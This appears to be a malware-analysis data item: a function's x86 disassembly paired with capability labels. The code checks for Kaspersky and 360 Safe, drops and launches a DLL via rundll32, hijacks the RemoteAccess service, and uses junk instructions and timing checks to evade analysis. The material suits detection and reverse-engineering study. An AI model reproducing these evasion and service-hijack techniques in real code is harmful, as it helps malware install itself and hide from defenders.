Function at 0x401385
Capabilities:
Check for time delay via gettickcount
Contain obfuscated stackstrings
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
push ebx
push esi
push edi
push str.AVP.EXE
call fcn.004010cf
add esp, 4
test eax, eax
je 0x4013a7
call fcn.00401161
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00401b7d
add esp, 4
mov byte [ebp - 0x124], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x123]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov byte [ebp - 0x121], 0
call fcn.00401b8a
imul eax, eax, 0x64
push eax
lea ecx, [ebp - 0x124]
push ecx
push str._swindows_temp_d.dll
lea edx, [ebp - 0x124]
push edx
call fcn.00401b2b
add esp, 0x10
push 0x4080b0
push 0x66
lea eax, [ebp - 0x124]
push eax
call fcn.00401009
add esp, 0xc
mov byte [ebp - 0x1c], 0x53
mov byte [ebp - 0x1b], 0x4f
mov byte [ebp - 0x1a], 0x46
mov byte [ebp - 0x19], 0x54
mov byte [ebp - 0x18], 0x57
mov byte [ebp - 0x17], 0x41
mov byte [ebp - 0x16], 0x52
mov byte [ebp - 0x15], 0x45
mov byte [ebp - 0x14], 0x5c
mov byte [ebp - 0x13], 0x33
mov byte [ebp - 0x12], 0x36
mov byte [ebp - 0x11], 0x30
mov byte [ebp - 0x10], 0x53
mov byte [ebp - 0xf], 0x61
mov byte [ebp - 0xe], 0x66
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x5c
mov byte [ebp - 0xb], 0
lea ecx, [ebp - 0x154]
push ecx
push 0xf003f
push 0
lea edx, [ebp - 0x1c]
push edx
push 0x80000002
call dword [0x40adec]
test eax, eax
jne 0x4014be
lea eax, [ebp - 0x124]
push eax
push str.rundll32___s__ServiceMain
lea ecx, [ebp - 0x258]
push ecx
call dword [0x40adf4]
add esp, 0xc
push 0
lea edx, [ebp - 0x258]
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [ebp - 0x124]
push eax
call fcn.0040129f
add esp, 4
push 0xf003f
push 0
push 0
call dword [0x40ade8]
mov dword [ebp - 0x150], eax
push 0xf01ff
push str.RemoteAccess
mov ecx, dword [ebp - 0x150]
push ecx
call dword [0x40ade4]
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push 3
push 0x110
mov edx, dword [ebp - 8]
push edx
call dword [0x40ade0]
mov dword [ebp - 0x144], 0
mov ecx, 6
xor eax, eax
lea edi, [ebp - 0x140]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x144]
push eax
push 1
mov ecx, dword [ebp - 8]
push ecx
call dword [0x40addc]
lea edx, [ebp - 0x124]
push edx
call fcn.004011bf
add esp, 4
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call dword [0x40add8]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x4080e0
push str.Advapi32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x158], eax
mov ecx, dword [ebp - 8]
push ecx
call dword [ebp - 0x158]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x20], 0x408104
mov dword [ebp - 0x128], 0x40810c
mov dword [ebp - 0x148], 0
mov edx, dword [ebp - 0x20]
push edx
call fcn.00401ab0
add esp, 4
mov esi, eax
mov eax, dword [ebp - 0x128]
push eax
call fcn.00401ab0
add esp, 4
lea ecx, [esi + eax + 1]
push ecx
call fcn.00401aa0
add esp, 4
mov dword [ebp - 0x25c], eax
mov edx, dword [ebp - 0x25c]
mov dword [ebp - 0x148], edx
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0x148]
push ecx
call fcn.004019b0
add esp, 8
mov edx, dword [ebp - 0x128]
push edx
mov eax, dword [ebp - 0x148]
push eax
call fcn.004019c0
add esp, 8
mov ecx, dword [ebp - 0x148]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 0x14c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 4], eax
mov edx, 1
test edx, edx
je 0x401688
push 0x64
mov eax, dword [ebp - 0x14c]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x40165d
jmp 0x401688
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 4]
cmp eax, 0x1388
jbe 0x401686
lea ecx, [ebp - 0x124]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x401688
jmp 0x40163f
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x14c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc eax
dec eax
pushal
sub eax, 0xa
add eax, 0xa
popal
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10